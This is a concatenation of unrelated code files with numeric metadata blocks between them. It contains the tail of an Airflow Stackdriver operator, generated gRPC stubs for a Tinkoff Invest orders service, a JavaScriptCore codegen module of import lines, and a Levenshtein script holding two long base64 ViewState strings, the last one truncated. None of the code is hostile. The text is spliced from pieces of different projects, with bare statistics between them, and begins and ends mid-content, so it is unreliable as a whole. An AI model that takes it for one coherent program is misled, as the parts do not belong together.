Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'channels', 'impersonation_chain', ) template_ext: Sequence[str] = ('.json',) operator_extra_links = (StackdriverNotificationsLink(),) ui_color = "#e5ffcc" def __init__( self, *, channels: str, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.channels = channels self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info( 'Upsert Notification Channels: Channels: %s Project id: %s', self.channels, self.project_id ) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.upsert_channel( channels=self.channels, project_id=self.project_id, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverNotificationsLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) class StackdriverDeleteNotificationChannelOperator(BaseOperator): """ Deletes a notification channel. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverDeleteNotificationChannelOperator` :param name: The alerting policy to delete. The format is: ``projects/[PROJECT_ID]/notificationChannels/[CHANNEL_ID]``. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project from which notification channel needs to be deleted. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'name', 'impersonation_chain', ) ui_color = "#e5ffcc" def __init__( self, *, name: str, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.name = name self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info('Delete Notification Channel: Project id: %s Name: %s', self.project_id, self.name) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.delete_notification_channel( name=self.name, retry=self.retry, timeout=self.timeout, metadata=self.metadata )

44.116977

106

0.670343

5,256

42,617

5.315449

0.060502

0.032858

0.019329

0.013959

0.901639

0.894803

0.892226

0

0.000888

0.260131

42,617

965

107

44.162694

0.885161

0.495201

0

0.819367

0

0.003724

0.058949

0

1

0.037244

false

0

0.014898

0

0.130354

0

null

0

1

0

1

0

null

0

7

91e7758ce0537250f4eb926f287abfef4966454b

11,127

py

Python

tinkoff/invest/grpc/orders_pb2_grpc.py

forked-group/invest-python

3398391f5bb4a52020c312855de175cfe8cdc021

[ "Apache-2.0" ]

41

2022-01-21T05:38:57.000Z

2022-03-30T03:54:41.000Z

tinkoff/invest/grpc/orders_pb2_grpc.py

forked-group/invest-python

3398391f5bb4a52020c312855de175cfe8cdc021

[ "Apache-2.0" ]

20

2022-01-24T05:46:02.000Z

2022-03-31T16:54:04.000Z

tinkoff/invest/grpc/orders_pb2_grpc.py

forked-group/invest-python

3398391f5bb4a52020c312855de175cfe8cdc021

[ "Apache-2.0" ]

15

2022-01-25T06:53:27.000Z

2022-03-30T03:49:07.000Z

# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! """Client and server classes corresponding to protobuf-defined services.""" import grpc from tinkoff.invest.grpc import orders_pb2 as tinkoff_dot_invest_dot_grpc_dot_orders__pb2 class OrdersStreamServiceStub(object): """Missing associated documentation comment in .proto file.""" def __init__(self, channel): """Constructor. Args: channel: A grpc.Channel. """ self.TradesStream = channel.unary_stream( '/tinkoff.public.invest.api.contract.v1.OrdersStreamService/TradesStream', request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamRequest.SerializeToString, response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamResponse.FromString, ) class OrdersStreamServiceServicer(object): """Missing associated documentation comment in .proto file.""" def TradesStream(self, request, context): """Stream сделок пользователя """ context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def add_OrdersStreamServiceServicer_to_server(servicer, server): rpc_method_handlers = { 'TradesStream': grpc.unary_stream_rpc_method_handler( servicer.TradesStream, request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamRequest.FromString, response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamResponse.SerializeToString, ), } generic_handler = grpc.method_handlers_generic_handler( 'tinkoff.public.invest.api.contract.v1.OrdersStreamService', rpc_method_handlers) server.add_generic_rpc_handlers((generic_handler,)) # This class is part of an EXPERIMENTAL API. class OrdersStreamService(object): """Missing associated documentation comment in .proto file.""" @staticmethod def TradesStream(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_stream(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersStreamService/TradesStream', tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamRequest.SerializeToString, tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) class OrdersServiceStub(object): """Сервис предназначен для работы с торговыми поручениями: **1**. выставление; **2**. отмена; **3**. получение статуса; **4**. расчёт полной стоимости; **5**. получение списка заявок. """ def __init__(self, channel): """Constructor. Args: channel: A grpc.Channel. """ self.PostOrder = channel.unary_unary( '/tinkoff.public.invest.api.contract.v1.OrdersService/PostOrder', request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderRequest.SerializeToString, response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderResponse.FromString, ) self.CancelOrder = channel.unary_unary( '/tinkoff.public.invest.api.contract.v1.OrdersService/CancelOrder', request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderRequest.SerializeToString, response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderResponse.FromString, ) self.GetOrderState = channel.unary_unary( '/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrderState', request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrderStateRequest.SerializeToString, response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.OrderState.FromString, ) self.GetOrders = channel.unary_unary( '/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrders', request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersRequest.SerializeToString, response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersResponse.FromString, ) class OrdersServiceServicer(object): """Сервис предназначен для работы с торговыми поручениями: **1**. выставление; **2**. отмена; **3**. получение статуса; **4**. расчёт полной стоимости; **5**. получение списка заявок. """ def PostOrder(self, request, context): """Метод выставления заявки. """ context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def CancelOrder(self, request, context): """Метод отмены биржевой заявки. """ context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def GetOrderState(self, request, context): """Метод получения статуса торгового поручения. """ context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def GetOrders(self, request, context): """Метод получения списка активных заявок по счёту. """ context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def add_OrdersServiceServicer_to_server(servicer, server): rpc_method_handlers = { 'PostOrder': grpc.unary_unary_rpc_method_handler( servicer.PostOrder, request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderRequest.FromString, response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderResponse.SerializeToString, ), 'CancelOrder': grpc.unary_unary_rpc_method_handler( servicer.CancelOrder, request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderRequest.FromString, response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderResponse.SerializeToString, ), 'GetOrderState': grpc.unary_unary_rpc_method_handler( servicer.GetOrderState, request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrderStateRequest.FromString, response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.OrderState.SerializeToString, ), 'GetOrders': grpc.unary_unary_rpc_method_handler( servicer.GetOrders, request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersRequest.FromString, response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersResponse.SerializeToString, ), } generic_handler = grpc.method_handlers_generic_handler( 'tinkoff.public.invest.api.contract.v1.OrdersService', rpc_method_handlers) server.add_generic_rpc_handlers((generic_handler,)) # This class is part of an EXPERIMENTAL API. class OrdersService(object): """Сервис предназначен для работы с торговыми поручениями: **1**. выставление; **2**. отмена; **3**. получение статуса; **4**. расчёт полной стоимости; **5**. получение списка заявок. """ @staticmethod def PostOrder(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/PostOrder', tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderRequest.SerializeToString, tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def CancelOrder(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/CancelOrder', tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderRequest.SerializeToString, tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def GetOrderState(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrderState', tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrderStateRequest.SerializeToString, tinkoff_dot_invest_dot_grpc_dot_orders__pb2.OrderState.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def GetOrders(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrders', tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersRequest.SerializeToString, tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)

46.170124

137

0.688236

1,099

11,127

6.616015

0.135578

0.039609

0.068216

0.081007

0.870444

0.861642

0.825609

0.782698

0.743777

0

0.006889

0.230341

11,127

240

138

46.3625

0.84213

0.119799

0

0.511628

1

0

0.108181

0.078696

0

1

0.081395

false

0

0.011628

0.02907

0.156977

0

null

0

1

0

1

0

null

0

7

37dbe94363328b3e0160f0bc011fea01ec3e834e

1,162

py

Python

Core/third_party/JavaScriptCore/inspector/scripts/codegen/__init__.py

InfiniteSynthesis/lynx-native

022e277ee6767f5b668269a17b1679072cf7c3d6

[ "MIT" ]

677

2017-09-23T16:03:12.000Z

2022-03-26T08:32:10.000Z

Core/third_party/JavaScriptCore/inspector/scripts/codegen/__init__.py

InfiniteSynthesis/lynx-native

022e277ee6767f5b668269a17b1679072cf7c3d6

[ "MIT" ]

9

2020-04-18T18:47:18.000Z

2020-04-18T18:52:41.000Z

Core/third_party/JavaScriptCore/inspector/scripts/codegen/__init__.py

InfiniteSynthesis/lynx-native

022e277ee6767f5b668269a17b1679072cf7c3d6

[ "MIT" ]

92

2017-09-21T14:21:27.000Z

2022-03-25T13:29:42.000Z

# Required for Python to search this directory for module files from models import * from generator import * from cpp_generator import * from objc_generator import * from generate_cpp_alternate_backend_dispatcher_header import * from generate_cpp_backend_dispatcher_header import * from generate_cpp_backend_dispatcher_implementation import * from generate_cpp_frontend_dispatcher_header import * from generate_cpp_frontend_dispatcher_implementation import * from generate_cpp_protocol_types_header import * from generate_cpp_protocol_types_implementation import * from generate_js_backend_commands import * from generate_objc_backend_dispatcher_header import * from generate_objc_backend_dispatcher_implementation import * from generate_objc_configuration_header import * from generate_objc_configuration_implementation import * from generate_objc_frontend_dispatcher_implementation import * from generate_objc_header import * from generate_objc_internal_header import * from generate_objc_protocol_types_implementation import * from generate_objc_protocol_type_conversions_header import * from generate_objc_protocol_type_conversions_implementation import *

44.692308

68

0.893287

147

1,162

6.578231

0.204082

0.217166

0.335057

0.227508

0.792141

0.663909

0.201655

0.108583

0

0.086919

1,162

25

69

46.48

0.911404

0.052496

0

1

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

5342eca652d767a398b1b7a8b0774f1cf04d6bd1

12,554

py

Python

levenshtein_distance.py

byscut/azrael-py27

76eaa29556a9f58e7425e5c0fefeddb5332a923e

[ "WTFPL" ]

null

levenshtein_distance.py

byscut/azrael-py27

76eaa29556a9f58e7425e5c0fefeddb5332a923e

[ "WTFPL" ]

null

levenshtein_distance.py

byscut/azrael-py27

76eaa29556a9f58e7425e5c0fefeddb5332a923e

[ "WTFPL" ]

null

# -*- coding: utf-8 -*- # @Author : Azrael.Bai import Levenshtein url1 = 'http://www.nbepb.gov.cn/XZCF_Show.aspx?ClassID=2c528b33-6f40-4fa5-9293-a1bf065b298a&InfoID=8a3fd96d-9eb2-4660-a9e6-2c8c20ec3326&SearchKey=&JDZCJG=&CFNF=' url2 = 'http://www.nbepb.gov.cn/XZCF_Show.aspx?ClassID=2c528b33-6f40-4fa5-9293-a1bf065b298a&InfoID=8a3fd96d-9eb2-4660-a9e6-2c8c20ec3326&SearchKey=&JDZCJG=&CFNF=' s1 = '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' s2 = '/wEPDwUKMTYzMDEwNjc1OQ9kFgICAQ9kFgQCEQ88KwALAQAPFggeCERhdGFLZXlzFgAeC18hSXRlbUNvdW50AhIeCVBhZ2VDb3VudAIBHhVfIURhdGFTb3VyY2VJdGVtQ291bnQCEmQWAmYPZBYkAgEPZBYKZg9kFgICAQ8PFgIeBFRleHQFFTUwMDIzNTIwMTcwODMwMDAxMTQwMWRkAgEPZBYCZg8VAhQ1MDAyMzUyMDE3MDgzMDAwMTAwMSfkupHpmLPljr/nmb3kupHot6/kurrooYzpgZPmlbTmsrvlt6XnqItkAgIPDxYCHwRlZGQCAw9kFgICAQ8PFgQfBAUJ5LqR6Ziz5Y6/HgdUb29sVGlwBQnkupHpmLPljr9kZAIEDw8WBh8EBRIyMDE3LTEwLTEwIDk6MzA6MDAeCUZvcmVDb2xvcgqNAR4EXyFTQgIEZGQCAg9kFgpmD2QWAgIBDw8WAh8EBRU1MDAyMzUyMDE3MDkxNTAwMTE0MDFkZAIBD2QWAmYPFQIUNTAwMjM1MjAxNzA5MTUwMDEwMDFV5LqR6Ziz5Y6/5Yek6bij6ZWH5aSq5Zyw44CB6ams6L2p5p2RMjAxN+W5tOKAnOe+juS4veWunOWxheekuuiMg+adkeW6hOKAneW7uuiuvuW3peeoi2QCAg8PFgIfBGVkZAIDD2QWAgIBDw8WBB8EBQnkupHpmLPljr8fBQUJ5LqR6Ziz5Y6/ZGQCBA8PFgYfBAUSMjAxNy0xMC0xMCA5OjMwOjAwHwYKjQEfBwIEZGQCAw9kFgpmD2QWAgIBDw8WAh8EBRU1MDAxMTAyMDE3MDgzMTAwMTE0MDFkZAIBD2QWAmYPFQIUNTAwMTEwMjAxNzA4MzEwMDEwMDE/5Y2X5qGQ54Wk55+/5bqf5rC05aSE55CG5omp5a655bel56iL77yI55S15rCU5Y+K566h572R6YOo5YiG77yJZAICDw8WAh8EBQznvZHkuIrmiqXlkI1kZAIDD2QWAgIBDw8WBB8EBQnkuIfnm5vljLofBQUJ5LiH55ub5Yy6ZGQCBA8PFgYfBAUSMjAxNy0xMC0xMCA5OjAwOjAwHwYKjQEfBwIEZGQCBA9kFgpmD2QWAgIBDw8WAh8EBRU1MDAyMzYyMDE3MDkwNzAwNTE0MDFkZAIBD2QWAmYPFQIUNTAwMjM2MjAxNzA5MDcwMDUwMDHOAeWlieiKguWOv+eUn+aAgeW3peS4muWbrUPljLrpgZPot6/lj4rlnLrlubPlt6XnqIvvvIjlkKvnrqHnvZHvvInigJTigJRBMjHjgIFBMjLlnLDlnZflnLrlnLDlubPmlbTlt6XnqIvjgIHlpYnoioLljr/nlJ/mgIHlt6XkuJrlm61B5Yy66YGT6Lev5Y+K5Zy65bmz5bel56iLKOWQq+euoee9kSktMTjlj7fot6/lt6XnqIvvvIhLMCswMDAtSzErMTAw77yJ55uR55CGZAICDw8WAh8EZWRkAgMPZBYCAgEPDxYEHwQFCeWlieiKguWOvx8FBQnlpYnoioLljr9kZAIEDw8WBh8EBRIyMDE3LTEwLTkgMTU6MDA6MDAfBgqNAR8HAgRkZAIFD2QWCmYPZBYCAgEPDxYCHwQFFTUwMDIyNTIwM